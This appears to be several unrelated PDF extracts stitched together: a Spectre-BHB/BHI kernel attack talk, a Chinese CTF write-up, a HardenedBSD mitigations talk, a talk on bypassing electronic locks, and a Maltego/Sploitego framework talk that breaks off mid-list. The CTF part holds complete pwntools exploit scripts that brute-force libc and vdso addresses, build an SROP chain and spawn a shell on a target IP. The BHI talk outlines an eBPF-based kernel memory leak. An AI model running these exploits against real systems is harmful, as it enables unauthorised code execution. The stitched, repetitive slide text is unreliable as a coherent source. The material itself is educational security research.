sys_getpid
f_d2550282 ()
└► ...
└► f_6c6d0c06()
└► syscall(getpid)
5F33
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
5F33
kernel
sys_getpid
Exploitation – The Plan
37
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
f_1554b7b2 ()
└► ...
└► f_c10573ce()
└► syscall(getpid)
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
5F33
kernel
sys_getpid
Exploitation – The Plan
37
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
BPU
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
f_1554b7b2 ()
└► ...
└► f_c10573ce()
└► syscall(getpid)
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
5F33
kernel
sys_getpid
1337
Exploitation – The Plan
37
sys_call_table[NR_getpid](regs)
└► ???
BTB
User space
Kernel space
1
Kernel space
trigger_leak_gadget()
User space
leak_gadget()
2
BPU
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
f_1554b7b2 ()
└► ...
└► f_c10573ce()
└► syscall(getpid)
TAG
PRIV
TARGET
1337
kernel
leak_gadget
2B04
kernel
sys_getpid
5F33
kernel
sys_getpid
1337
==
predict leak_gadget
Exploitation – Victim Branch
•
Syscall handler is a good victim:
○
We can easily trigger it with any syscall
38
Exploitation – Victim Branch
•
Syscall handler is a good victim:
○
We can easily trigger it with any syscall
○
RDI points to user-space saved
registers
38
Exploitation – Leak Gadget
•
We need to find a leak gadget in the kernel code
•
Why don’t we JIT it with unprivileged eBPF ?
(Yep, there is a JIT engine in the Linux kernel)
39
Exploitation – Leak Gadget
•
We need to find a leak gadget in the kernel code
•
Why don’t we JIT it with unprivileged eBPF ?
(Yep, there is a JIT engine in the Linux kernel)
39
JIT
Exploitation – Transient Type Confusion
40
Architectural:
x = skb->sk->mark
fr_buf[(x&0xff)<<12]
Exploitation – Transient Type Confusion
40
Architectural:
x = skb->sk->mark
fr_buf[(x&0xff)<<12]
Exploitation – Transient Type Confusion
40
Architectural:
x = skb->sk->mark
fr_buf[(x&0xff)<<12]
Speculative:
x = *pt_regs.r12
fr_buf[(x&0xff)<<12]
Exploitation – Transient Type Confusion
40
Architectural:
x = skb->sk->mark
fr_buf[(x&0xff)<<12]
Speculative:
x = *pt_regs.r12
fr_buf[(x&0xff)<<12]
Transient Type Confusion
bypasses Spectre mitigations
Exploitation – Covert Channel
•
eBPF is so kind to offer a nano-second precise timer!
Perfect for our FLUSH+RELOAD covert channel
41
LIVE DEMO
42
Vendor response &
Mitigations
43
Affected Processors
•
Intel
○
Branch History Injection (BHI) CVE-2022-0001
■
Every CPU since 10th generation included
•
Arm
○
Spectre-BHB CVE-2022-23960
■
Cortex-{R7,R8}
■
Cortex-{A57,A65,A72,A73,A75,A76,A77,A78,A710}
■
Neoverse-{E1,N1,V1,N2}
■
Cortex-{X1,X2}
44
Mitigations
•
Intel
○
Disable unprivileged eBPF and keep eIBRS enabled
○
Additional hardening options:
■
[SW] Retpoline / Software BHB-clearing sequence
■
[HW] Future Processors may mitigate BHI in Hardware
•
Arm
○
[SW] BHB-clearing sequence / New clearbhb instruction / Trusted firmware workaround 3
○
[HW] CSV2.3 / Exception Clears Branch History Buffer
•
AMD
○
Not affected
45
Mitigations
•
Intel
○
Disable unprivileged eBPF and keep eIBRS enabled
○
Additional hardening options:
■
[SW] Retpoline / Software BHB-clearing sequence
■
[HW] Future Processors may mitigate BHI in Hardware
•
Arm
○
[SW] BHB-clearing sequence / New clearbhb instruction / Trusted firmware workaround 3
○
[HW] CSV2.3 / Exception Clears Branch History Buffer
•
AMD
○
Not affected
45
, kinda
Conclusion
•
Spectre’s attack surface is too wide to define
•
Disabling unprivileged eBPF is another stopgap defense
•
Speculative execution attacks are becoming harder and harder 👍
46
@b4rbito @pit_frg
@nSinusR
@vu5ec
47
https://vusec.net/projects/bhi-spectre-bhb | pdf |
(ps:x86_pie&x86_srop入门题)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
环境搭建:
1.查看文件信息及保护机制
got表只读,NX,PIE都开了
2.ubuntu运行ida*32远程调试文件,打开ida32对程序进行分析
函数窗口中未发现可以函数,打开main函数,发现只有一个read函数,并且可以栈溢出。
3.远程调试,断点于main函数第一行,运行
4.
看到程序运行后,ida中的模块窗口出现这些,则有:
一.根据pie的特性,最后12位不变,多次加载程序后,发现libc的基址前三位也是不变,也
就是只需爆破8位即可
二.可以通过上述方法进行爆破vdso地址,与上面不同的是,vdso的地址第三位是可变的,
有时是E有时是F。然后进行srop
5.
这里有个坑(如果是新手),就是ida上模块中的libc文件名,并不是题目中给出的libc文
件,而是以实际程序调用的libc文件为准。
可以看到题目给出的libc文件和程序实际加载的libc文件是不一样的(由于是用本地系统搭建
pwn题环境),地址也理所当然的不一样,所以(本地搭建环境)一定要看清楚程序到底用
哪个libc文件
6.
①爆破libc的exp:
(亦可直接覆盖返回地址的后3字节->6位16进制数,来爆破one_gadget)
1
from pwn import *
2
3
context.binary = './233'
4
5
6
libc_start = 0xf7d56000 #guess_start_address
7
#one_gadget_add = libc_start + 0x3af1c
8
system_add = libc_start + 0x3a940
9
shell = libc_start + 0x15902b
10
11
while True:
12
try:
13
link = remote("192.168.93.137","6666")
14
#payload = 'A' * 0x16 + p32(one_gadget_add)
15
payload = 'A' * 0x16
16
payload += p32(system_add)
17
payload +=p32(0)
18
payload += p32(shell)
19
link.send(payload)
20
link.recv(timneout=1)
21
except EOFError:
22
link.close()
23
continue
24
link.interactive()
执行爆破脚本getshell 拿flag
②爆破vdso,进行SROP,exp:
1
from pwn import *
2
3
context.binary = './233'
4
5
global link
6
7
shellcode = asm(shellcraft.i386.linux.sh(),arch='i386')
8
vdso_add = 0xf7f17000
9
#ldd或者ida打开程序
10
#vdso 前几位都大几率是0xf7f
11
#再结合pie最后12位不变
12
#vdso也是只需爆破8位
13
int_80_add = vdso_add + 0xde6
14
sigreturn_add = vdso_add + 0xde1 #mov eax,0x77 int 80
15
int_80_pop3_ret = vdso_add + 0xdc7
16
can_write_add = vdso_add ‐ 0x4000
17
i=0
18
19
def send_no_line(str):
20
return link.send(str)
21
22
def stack_overflow(ropchain):
23
payload = 'A' * 0x16 + ropchain
24
payload = payload.ljust(0x400,'A') #???????????
25
send_no_line(payload)
26
return
27
28
def srop():
29
payload = 3 * 'AAAA' + p32(sigreturn_add)
30
frame1 = SigreturnFrame(kernel='amd64')
31
frame1.eax = constants.SYS_read
32
frame1.ebx = 0
33
frame1.ecx = can_write_add + 0x200
34
frame1.edx = len(shellcode)
35
frame1.eip = int_80_pop3_ret
36
frame1.esp = can_write_add
37
frame1.esp += len(payload)
38
frame1.esp += len(SigreturnFrame(kernel='amd64'))
39
payload += str(frame1)
40
payload += 3 * 'AAAA' + p32(sigreturn_add)
41
frame2 = SigreturnFrame(kernel='amd64')
42
frame2.eax = constants.SYS_mprotect
43
frame2.ebx = can_write_add
44
frame2.ecx = 0x1000
45
frame2.edx = 7
46
frame2.eip = int_80_pop3_ret
47
frame2.esp = can_write_add
48
frame2.esp += len(payload)
49
frame2.esp += len(SigreturnFrame(kernel='amd64'))
50
payload += str(frame2)
51
payload += 3 * 'AAAA' + p32(can_write_add + 0x200)
52
frame3 = SigreturnFrame(kernel='amd64')
53
frame3.eax = constants.SYS_read
54
frame3.ebx = 0
55
frame3.ecx = can_write_add
56
frame3.edx = len(payload)
57
frame3.esp = can_write_add
58
frame3.eip = int_80_pop3_ret
59
payload2 = p32(sigreturn_add) + str(frame3)
60
stack_overflow(payload2)
61
send_no_line(payload)
62
send_no_line(shellcode)
63
try:
64
link.recv(timeout=1)
65
link.recv(timeout=1)
66
except EOFError:
67
return 0
68
else:
69
return 1
70
71
while True:
72
i+=1
73
print i
74
link = remote("192.168.93.137","6666")
75
test = srop()
76
if test == 1:
77
link.interactive()
78
break
79
else:
80
link.close()
81
continue
82
83
整体流程:栈溢出-> sigreturn 系统调用 -> 劫持栈 -> 写入payload 和 shellcode 到新栈
中(注意上下文的frame的esp设置和eip的设置) -> 更改新栈权限 ,并且跳转到新栈的
shellcode位置执行 getshell
(一)SROP基础学习:
1.https://www.anquanke.com/post/id/85810
2.https://bestwing.me/stack-overflow-three-SROP.html
(2)
vDSO是一种内核机制,用于将精心选择的一组内核空间例程导出到用户空间应
用程序,以便应用程序可以在进程中调用这些内核空间例程,而不会导致在调用这些
内核空间时固有的上下文切换的性能损失通过系统调用接口的例程。
VDSO就是Virtual Dynamic Shared Object,就是内核提供的虚拟的.so,这
个.so文件不在磁盘上,而是在内核里头。内核把包含某.so的内存页在程序启动的时
候映射入其内存空间,对应的程序就可以当普通的.so来使用里头的函数。比如
syscall()这个函数就是在linux-vdso.so.1里头的,但是磁盘上并没有对应的文件.可以
通过ldd/bin/bash看看。
可以将vdso看成一个shared objdect file(这个文件实际上不存在),内核将其
映射到某个地址空间,被所有程序所共享。(我觉得这里用到了一个技术:多个虚拟
页面映射到同一个物理页面。即内核把vdso映射到某个物理页面上,然后所有程序
都会有一个页表项指向它,以此来共享,这样每个程序的vdso地址就可以不相同
了) | pdf |
[email protected]
Twitter: @lattera
HardenedBSD Internals
Agenda
● About Me
● De<nitions
● About HardenedBSD
● Features
● Weather Report
● Digging In
About Me
● Cofounder of HardenedBSD
● Security enthusiast
● Opensource advocate
● Evangelist of FreeBSD
● ZFS fanboy
De<nitions
Security
De<nitions
Exploit Mitigation
De<nitions
Address Space Layout Randomization (ASLR)
About HardenedBSD
About HardenedBSD
● O/cially launched April 2014
● Implementing and upstreaming ASLR is
hard
● Single repository for FreeBSD exploitation
mitigation development
● Full fork of FreeBSD
About HardenedBSD
● Many contributors
● Four developers. Two active daily.
● Incoming contributions from universities
● Four dedicated servers. One fully funded
via IndieGogo.
● Potentially even more servers on their
way
About HardenedBSD
● Three-year game plan:
– ASLR, mprotect(exec) restrictions, w^x
upstreamed
– UDEREF
– [lin]procfs restrictions upstreamed
– O/cial releases
– Commercial support
About HardenedBSD
● Five-year game plan:
– 501(c)3 non-pro<t organization
– And for-pro<t arm
– O/cial hardware appliances (<rewalls,
IDS/IPS, etc.)
– Windows SBS-like tool
Features
● ASLR
● NoExec – AKA w^x, AKA PaX PAGEEXEC
● [lin]procfs protections (lolwut? Yeah,
really)
● PTrace restrictions
● mmap(map_32bit) hardening
Features
● Complete removal of mmap(NULL,
MAP_FIXED) support
● Removal of many image activators
● getentropy
● Boot hardening
Features
● PaX-inspired SEGVGUARD
● Intel Supervisor Mode Access Protection
(SMAP)
● The secadm application
Weather Report
● ASLR
– Version 0
● Being upstreamed
– Version 0.5
● Shared object load order
randomization
– Will upstream after v0 is accepted
Weather Report
● ASLR
– Version 1
● Research phase
● VDSO randomization
● True stack randomization
– PS_STRINGS
– Breaks a whole ton of ABI/API
Weather Report
● NoExec – AKA w^x, AKA PaX PAGEEXEC
– Inspired by PaX
– Prevent pages from being both writable
and executable
– Problem: Dynamic code (IE, Java,
Javascript, JIT engines)
– More research being done
Weather Report
● [lin]procfs hardening
– Inspired by the Linux procfs attack
vector
● “OpenSSH <=6.6 SFTP
miscon<guration exploit for 64bit
Linux”
– Completed
Weather Report
● Userland Enhancements
– Recursive setfacl
Weather Report
● secadm – Security Administration
– Version 0.1 - Released
● Toggle ASLR, mprotect, PAGEEXEC,
SEVGUARD per-binary
– Version 0.2 – In progress
● Executable File Integrity Enforcement
– Enforce <le hash before exec
– Known as Integriforce
Weather Report
● secadm – Security Administration
– Version 0.3 – Long-Term Research
● Full binary signing, with x509 certs
Weather Report
● Infrastructure
– Nightly build automation with Jenkins
● Release targets signed with GPG
– Package builds with Poudriere
● Packages are signed
● Stress testing!
– All running HardenedBSD
ASLR Implementation
● Based oQ of PaX
– Deltas for execution base, mmap, and
stack
– Stack is gap-based
● Code dive!
mprotect Implementation
● Inspired by PaX and OpenBSD
– Enforce when PROT_EXEC is enabled on
a mapping, PROT_WRITE is disabled
● Code dive!
[lin]procfs Implementation
● Cannot write to /proc/pid/mem and
/proc/pid/*regs
● Code dive!
mmap Implementation
● On amd64: Disable MAP_32BIT support
– Ties into ASLR implementation a bit
● Code dive!
secadm Implementation
● Three moving parts:
– Kernel module
● MAC framework
● sysctl control channel
– Shared library
– Application
● Code dive!
Putting it all Together
● Lots of work done
● Lots of work to do
– Especially with ASLR
● Combine multiple exploitation mitigations
for best security
Next Milestones
● ASLRv2
● W^X/NoExec/PAGEEXEC
● UDEREF
● Executable <le integrity enforcement
● O/cial release
https://www.hardenedbsd.org
https://github.com/HardenedBSD
https://twitter.com/HardenedBSD
http://jenkins.hardenedbsd.org
https://www.soldierx.com/ | pdf |
Invisible Access
Opening New Doors to Insecurity
Marc Weber Tobias - Matt Fiddler - Tobias Bluzmanis
©2009 Security.org
Agenda
• Standards and Requirements
• Electro-Mechanical Locks
• Critical Infrastructure and
Vulnerabilities
• Real World Threats
• Case Studies
Standards
• Why we need Standards
• What They Measure
• Limited Protocol - Few Tests
• Exclude many “Real World Attacks”
– Bumping
– Mechanical Bypass
– Knowledgeable and Special Attack
Techniques - Not Contemplated
Standard Security
Criteria
• Define Conventional vs. High
Security
• Threat Criteria
– Forced Entry
– Covert Entry
– Key Security
• All Standards based upon
– Time, Tools and Training
Forced Entry
UL437 and BHMA 156.30
• Locks must be secure against
Forced methods of Attack
• Attack Resistance 5 Minutes
• Excludes many methods of
attack
Covert Entry
Protection
• Minimum Security Criteria in
UL437 and ANSI/BHMA 156.30
• Protects against Certain forms
of Covert Entry
• Assures Minimum resistance to
opening
– (10 - 15 minutes)
– Picking and Decoding
– Master Key Attacks
– Bumping (Not Covered)
Key Security
• Organizational Protection
– Duplication of Keys
– Keys Ordered by Code
• Legal Protection
– Availability of Blanks
• Does not address Technical
Security of Keys
• Standards = Limited Security
Categories of Locks
• Conventional Mechanical Locks
• High Security Mechanical
Locks
• Electronic Credentials
– Electro-Mechanical Locks
– Electronic Locks
– Wired, Wireless, Data on Card
Critical Questions
• What is SECURITY re: Locks?
• Is it secure enough?
• What does a High Security rating
mean?
• The concept of key control, key
security and why it’s important
• Can the lock be compromised and
how difficult is it?
• Real World Threats
• Methods to Compromise
Conventional Lock
Functions
• Restrict “WHO” can enter
• Prevent or Delay
Unauthorized Access
– Low to Medium security
– Not Certified
– Covert Entry often is easy
Conventional Lock
Vulnerabilities
• Picking, Bumping, Decoding
• Impressioning
• Master Key Extrapolation
• Mechanical Bypass
• Failure of Key Control
– Duplication of keys
– Simulation of Keys
– Replication of Keys
Conventional Locks:
Adequate?
• No tracking of access,
attempts, how often or when
• Add or Duplicate keys
• Key Security
• Master Key System In-Security
• No evidence of Breach
• No Intelligence in lock or
key
Conventional v.
High Security
• Conventional Cylinders
– Easy to Pick or Bump open
– No Key Control
– Limited Forced Entry resistance
• High Security Cylinders
– UL and BHMA/ANSI Standards
• UL-437 and BHMA/ANSI 156.30
– Higher quality and tolerances
– Resistance to Forced and Covert Entry
– Key Control
High Security
Increased Protection?
• Protect high value targets
• Stringent security requirements
• Standards (UL and BHMA/ANSI)
• Threat Level is higher
• Minimum security criteria
– Attack times and resistance
– More difficult to compromise
– Higher key control
High Security
Critical Differences
• Multiple security layers
• More than one point of failure
• Each security layer is independent
• Security layers operate in parallel
• Difficult to bypass each layer
• Difficult to derive intelligence about
a layer
• Difficult to simulate the action of a
key
Mechanical Locks:
Design Limitations
• Good for one person, one key
• No Key / User Tracking
• Addition of deletion of keys
to the system
• Lost stolen or copied keys
• Manipulation of keys (Mul-T-
Lock and key interchange)
Electronic Locks:
The Security Solution?
Electro-Mechanical
Locks
• Mechanical Locks+
• Electronic Credentials
– STILL Mechanical Locks
• Two Parallel Locking Systems
– Mechanically keyed alike
– Mechanically master-keyed
– Key bitting assigned to each
customer
Electronic Access
Control Systems
• Mechanical lock designs
• Electronic Credentials
– I-button, RFID, SmartCard
– Many different protocols
• Security Layers
– Protocol
– Mechanical locking system
– Audit Functions
– Key Security
Medeco LOGIC
Higher Security?
Medeco LOGIC Keys
Mul-T-Lock Cliq:
Similar Technology
Salto and EVVA:
A Different Approach
Critical
Infrastructure
• Transportation - Aviation and
Airport Security
• Cargo and Transport
• Power Facilities
• Finance and Banking
• Server Rooms
• Defense
• Public Safety
CI: Vulnerabilities
• Intrusion (Sabotage and Vandalism)
• Theft of Critical and High Value
Targets
• Terrorism
• Data Leakage
• Identity Theft
• Interruption of Critical or
Essential Services
Airports and Aircraft
Aviation Security
• US Aviation Transportation
Security Act (2001)
• Defines Requirements for:
Airports, Highways, Buses,
Ports, Mass Transit
– Controls Physical Access for 450
Airports
– Control, Track and Analyze
Individual Access and Attempts to
Secure Areas
Airport Security
• Section 106: Airport
Perimeter Protection
• Security Technology to
manage Access Control
• Positively Verify the
Identity of each Employee
and Law Enforcement Officer
• Test and Assure Compliance
Airport Security
• Layered Security Approach
• Physical Security of Fixed
Assets
• Beaches: Trace directly to
Lock and User Violations
• Copying Keys
Conventional Locks
Not Secure for Airport
Protection
• Duplication of Keys
• No User-Auditable Information
• No Scheduling Capabilities
(Time Lock)
• Master Key Systems:
– No Identification of Employee
or Ability to Test System
Private Aircraft
Medeco Cam-Locks
Cargo - Containers
Cargo - Access
• Electronic Access Control
Systems
• Electronic Padlocks with
Audit Capabilities
– Identify Tampering
– Deter Contraband Introduction
and other Attacks
Medeco NexGen
Power Generation
Power Plants
• Gas, Oil, Power-Grid
• Federal Energy Regulatory
Commission (FERC)
• North America Electric
Reliability Corporation (NERC)
• Reliability of Electricity
– Security of Physical Assets
– Security of Electronic Data
Security Requirements
• Prevent Attacks (Both
Physical and Electronic)
• Access to Data and Equipment
– Hard Assets: Generating
Plants,Equipment,Transmission,
Networks
– Physical Access and Attempts
Critical
Infrastructure
Protection
• CIP-006-1:
The Physical Security Plan must:
“Contain procedures for
identifying, controlling and
monitoring all access points and
authorization requests.”
“Logging of Physical Access must
occur at all times and the
information logged must be
sufficient to uniquely identify
individuals”
Financial Data
• Sarbanes Oxley Act (2002)
– Financial Reporting for Public
Corporations
– Quality of Financial Reporting
– IT and Internal Controls
– Data Center Access Security
Financial Data
Integrity and Security
• Control and Safeguard Data
• Validity of Financial Reports
• Physical Control of Access to
Information
– Data Protection
– Theft
– Manipulation or Exploitation
– Unauthorized Access
Data Center Security
• Must Control Physical Access
to servers to Protect Data
• Electronic Access
– Passwords, Firewalls, IPS,
Encryption
Physical Access = Game Over
Real World Threats
• High Security Locks
• Electronic Access Control
Systems
– Total Compromise
– False Sense of Security
– Liability?
2008
• High Security Lock
Vulnerabilities
• Total Compromise of Covert
and Forced Entry including a
total failure of Key Control
Mechanical Locks
Not Enough Protection
• Good for One Person - One Key
• Used where no tracking is
required
• Addition or Deletion of Keys
not a requirement
• No concern over Lost or
Stolen Keys
Electronic Access
Control
• The Answer to Mechanical Locks?
• Current Systems
– Mechanical + Electric
– All Electric
•Wired
•Data on Card
•Wireless
Stand-Alone EAC
(Assa Abloy Cliq)
• Mul-T-Lock, Assa, Icon, Medeco
Logic
– All SAME Technology!
• Electromechanical Stand-Alone
Cylinder
• Mechanical Locking + Audit
• Enhanced Control Options
• Used Throughout the World
Mul-T-Lock
“The Ultimate in High Security”
LOGIC and Cliq:
Design Attributes
• Program Permissions
• Authorized Keys
• Audit Trail Events
• Mechanical + Electronic
Security
• No Wiring or additional
hardware required
Logic Attributes
Cliq and Logic
• Key Powers the Lock
• Mechanical Bitting + Credentials
• Easy Retrofit to Existing Locks
• Add and/or Delete keys
• Wide range of Access Controls
– Time, Date, Door (Lock), User, etc.
Cliq and Logic Key
Assa Abloy and EAC:
Security and Reality
• Key Control
– Simulation of Keys
– Lost, Stolen, or Deleted Keys
– Entire System at Risk
– Cannot Re-Key Cylinders
• Simulate Credentials
• Bypass ALL Audit Functions
Serious Security
Issues
• False Sense of Security
• Potential for False Blame
• No Evidence of Entry
• Total Lack of “Chain of
Custody”
EAC Vulnerabilities
• Bypass of Mechanical or
Electronic System
• Audit trail Depends on
Reading the Key
What Happens if one Layer is
Bypassed?
Magnetic Attacks
Ulmann & Zacher
Cliq and Logic
Security Issues: Keys
• Mechanical Keys
• Wafer or Pin Tumbler Systems
• Often “Keyed Alike” Systems
– Keys Only cut at Factory
– Electronic Technology inside Key
• Mul-T-Lock results of Keyed
Alike and Key Duplication
Cliq and Logic
Simulated Credentials
• Possess Key and Simulate or
Bypass Credentials
One Lost Key =
Total Compromise of System!
Mul-T-Lock Click and
Magnets
Invisible Access
Audit Trail Bypass
• Audit trail is dependent
upon reading the Lock or Key
• If there is NO Audit Trail:
– False Sense of Security
– False Blame
– Unknown Compromise
– No Evidence of Entry
Cliq and Logic
Security
From Medeco:
“Unauthorized Key Copying is
removed from the Equation”
“Superior Protection against
Unauthorized Key Copying”
Cliq,Logic and Nexgen
Potential Issues
• One lost, stolen or deleted key
may compromise entire system
• Simulation of Credentials
• Simulation of Keys
• Open in 30 seconds or less
• No Audit Trail
Invisible Access
LOGIC Design
Logic In-Security
Simulated Keys
Logic + Cliq
Simulated Electronics
Cliq Compromise
EAC-Serious Issues
• Mechanical Bypass
• Simulation of Credentials
• Bypass of Electronics
• Cloned Credentials
• Defective Security Design
• Failure to meet Statutory
Requirements
• Legal Liability
• Compromise of Entire System
Thank you!
Marc Weber Tobias - Matt Fiddler - Tobias Bluzmanis
©2009 Security.org
http://www.security.org | pdf |
Maltego’s (Local) Partner in Crime
Nadeem Douba | www.cygnos.com
How you doin’
Nadeem Douba | www.cygnos.com
2
} Nadeem Douba
◦ Work at Cygnos (http://www.cygnos.com) in
Ottawa, ON, Canada
◦ Certs: GWAPT, GPEN
◦ Worked in the InfoSec field for 10+ years.
◦ Love (European) football and hacking stuff…
} Been a Maltego fan-boy since the beginning...
} Helped port/appify Maltego for Mac OS X J
Nadeem Douba |
www.sploitego.com
3
} What is Sploitego?
} Maltego – Briefly Explained
} Dive Into Development
◦ Before Sploitego
◦ After Sploitego
} Demos
} Conclusion
} Questions
Nadeem Douba | www.cygnos.com
4
} Local Transform Development Framework for
Maltego written in Python
} Provides:
◦ Rapid transform development
◦ Easy transform installation, management, and
maintenance
◦ Complementary scripts and modules for data
mining and debugging
◦ A whole bunch of cool transforms J
Nadeem Douba | www.cygnos.com
5
} A little background on Maltego...
Nadeem Douba | www.cygnos.com
6
Maltego Overview
Nadeem Douba | www.cygnos.com
7
} Open Source
Intelligence (OSInt)
and forensics
information
mining/gathering
and graphing tool
} Developed by
Paterva and
PinkMatter
Nadeem Douba | www.cygnos.com
8
} Information is
represented on the
graph as Entities
} For example, an
Entity could be:
◦ Email Address
◦ Image
◦ Phone Number
◦ Etc.
} Each Entity has a
value and optionally
some fields.
Nadeem Douba | www.cygnos.com
9
} Transforms reveal
relationships
between entities (or
information)
} Logic that mines and
returns information
(or Entities) using
another piece of
information (or
Entity) as input
◦ T(E0) à { E1, E2, … En }
Nadeem Douba | www.cygnos.com
10
Just for Clarity
Nadeem Douba | www.cygnos.com
11
} Two types of transforms:
◦ Remote: runs on a remote Paterva or third-party
Transform Server.
◦ Local: runs on the user’s local machine.
This is where Sploitego comes in…
Nadeem Douba | www.cygnos.com
12
Pros
Cons
ü Paterva’s Transforms
ü Awesome!!!
ü Centralized Transform
Management &
Maintenance
ü Implementation details
hidden from the user
(protects your IP)
ü Minimal Client-Side
Processing Overhead
✗ Limited Data Visibility
✗ i.e. Server can only query
accessible data.
✗ Breach of Privacy
✗ OSInt target/subject
disclosed to a third-party.
✗ Limited Client-Side
Control:
✗ Transforms might not be
evil enough J
Nadeem Douba | www.cygnos.com
13
Pros
Cons
ü Full Client-side Control
ü No limits as to how 1337
or evil your transforms can
be J
ü Privacy
ü OSInt subject may not be
disclosed to third-party
ü Great Data Visibility
ü “The world is one’s oyster”
ü Extensible
ü Maltego can be used for
other types of data
visualization J
✗ Processing Overhead
✗ Client’s machine
responsible for running
transforms
✗ Development
✗ It’s in your hands (or
somebody else’s… just
delegate ;)
✗ IP Disclosure
✗ Implementation details no
longer hidden from users.
✗ Difficult to Maintain
Nadeem Douba | www.cygnos.com
14
The Nitty Gritty
Nadeem Douba | www.cygnos.com
15
} Maltego executes a local script or executable
} Input passed via command line arguments:
$ ./mytransform.sh
<value>
<fieldname1>=<fieldvalue1>#...#<fnn>=<fvn>
} Transform results returned via standard
output in Maltego XML message format
◦ See:
http://paterva.com/web5/documentation/localTransforms-
SpecIII.pdf for more details
} Debugging messages returned via standard
error
Nadeem Douba | www.cygnos.com
16
$ ./t.pl
aspmx.l.google.com
mxrecord.priority=0
• Note:
the
bolded
property
(“MX
Record”),
below,
is
the
entity
value
(or
Display
Value)
Nadeem Douba | www.cygnos.com
17
Nadeem Douba | www.cygnos.com
18
Without Sploitego
Nadeem Douba | www.cygnos.com
19
} Learn Maltego Local Transform Specification
◦ XML Messaging
◦ Debugging
◦ Etc.
} Develop Transform
◦ Input Parsing Logic
◦ Data Mining Logic
◦ XML Serialization Logic
◦ Debugging Facilities
} Install Transform
} Configure & Maintain Transform
} Define Entity in Maltego (Optional)
Nadeem Douba | www.cygnos.com
20
} 47 lines of code for
a simple transform
◦ Not bad…
◦ But not great either
} XML is hard-coded
◦ Not reusable
◦ Debugging
nightmare!
◦ Imagine returning
100+ entities with
fields K
Nadeem Douba | www.cygnos.com
21
} Currently Manual
Process
◦ Two-step Wizard per
Transform
} Tedious & Prone to
User Error
◦ More Transforms =
More Configuration =
Less Time Playing
Nadeem Douba | www.cygnos.com
22
} Have to manually
create a Transform
Set
} Another dialog box
somewhere K
} When does the fun
begin?
Nadeem Douba | www.cygnos.com
23
Bringing Back the Fun
Nadeem Douba | www.cygnos.com
24
} Local Transform Development Framework for
Maltego written in Python
} Provides:
◦ Rapid transform development
◦ Easy transform installation, management, and
maintenance
◦ Complementary scripts and modules for data
mining and debugging
◦ A whole bunch of cool transforms J
} How does it bring back the fun?
Nadeem Douba | www.cygnos.com
25
ü Learn Maltego Local Transform Specification
ü XML Messaging
ü Debugging
ü Etc.
ü Develop Transform
ü Input Parsing Logic
◦ Data Mining Logic ß This is all you have to take
care of! – Wawa-wiwa!
ü XML Serialization Logic
ü Debugging Facilities
ü Install Transform
ü Configure & Maintain Transform
} Define Entity in Maltego (Optional) ß And
possibly this…
Nadeem Douba | www.cygnos.com
26
} Sploitego transforms are simply Python
Modules within Python Packages
} Follows traditional Python package directory
structure:
◦ ./setup.py (Python installation script – distutils/
setuptools)
◦ ./foobar (Package directory)
◦ ./foobar/__init__.py (Module/package init script)
◦ ./foobar/helloworld.py (Transform module)
Nadeem Douba | www.cygnos.com
27
Nadeem Douba | www.cygnos.com
28
} foobar/
__init__.py must
contain __all__
variable with
transform modules
specified.
Nadeem Douba | www.cygnos.com
29
Nadeem Douba | www.cygnos.com
30
} The dotransform function is the entry point
} Accepts two parameters: request, and
response
} The request object has the following
properties:
◦ value: the Entity display value (string)
◦ fields: the Entity fields (dictionary)
◦ params: extra parameters that can be parsed by
optparse
Nadeem Douba | www.cygnos.com
31
} The response object is where we populate our
results
} dotransform must return the response object
} response object uses mathematical operators
to add and remove Entity and UIMessage
objects
◦ E.g. response
+
Phrase(‘Hi’) appends a Phrase
Entity object to the response object
} Finally, onterminate function is called if
Maltego interrupts the transform – it is
optional
Nadeem Douba | www.cygnos.com
32
} @superuser instructs the dispatcher to run
the transform as the super-user
} If a transform is being executed as a non-
super-user:
◦ dispatcher will invoke sudo
◦ Prompt user for sudo password
◦ If successful, execute the transform using sudo
◦ Else, abort execution after three retries
Nadeem Douba | www.cygnos.com
33
} Instructs mtginstall on how to configure transform in Maltego
} Parameters:
◦ label: display label of transform in Maltego
◦ description: A brief description
◦ uuids: list of universally unique identifiers (or transform descriptor file
names)
◦ inputs: list of tuples containing Transform Set name and Input Entity
type
◦ debug: whether or not debug window should appear in Maltego on
transform execution
Nadeem Douba | www.cygnos.com
34
} For example:
◦ Transform will appear as To
Phrase
[Hello
World] in
Maltego GUI
◦ Will belong to the Useless Transform Set
◦ Can only be applied to Person type Entities
◦ Have a unique ID of
sploitego.v2.PersonToPhrase_HelloWorld
◦ A debug window will appear on transform execution
Nadeem Douba | www.cygnos.com
35
} Notice how uuids and inputs are lists
} mtginstall supports one-to-many relationship
between transforms and input entity types
◦ For example, Hello World Transform could be applied
to Phrase entities as well
◦ Just add another uuid and inputs entry (matching
order)
Nadeem Douba | www.cygnos.com
36
} 24 Lines of Code in Total!
◦ Approximately 50% less code!
◦ Only SIX (6) lines were “actual” code!
◦ The rest were annotations, function signatures, and
imports
} Not a single print line in sight!
} No hard-coded XML!
} What about installation?
Nadeem Douba | www.cygnos.com
37
Install, Uninstall, Etc.
Nadeem Douba | www.cygnos.com
38
} To
install
a
Sploitego
transform:
◦ First,
Install
Python
package
containing
transforms
distu:ls
or
setuptools
are
great
for
that!
◦ Alterna,vely,
place
Python
module
in
Maltego’s
working
directory
◦ Second,
run
mtginstall
Nadeem Douba | www.cygnos.com
39
} Input Parameters:
◦ Hello World Transform is in foobar package
◦ Maltego’s settings are stored in ~/Library/
Application\
Support/maltego/v3.1.1/
(on Mac
OS X)
◦ Your transform working directory is ~/
} To Install Transform Package, Run:
$ mtginstall
-‐-‐package
foobar
-‐-‐maltego-‐prefix
~/Library/Application\
Support/maltego/v3.1.1/
-‐-‐working-‐dir
~/
Nadeem Douba | www.cygnos.com
40
1. mtginstall first imports __init__.py in
foobar package
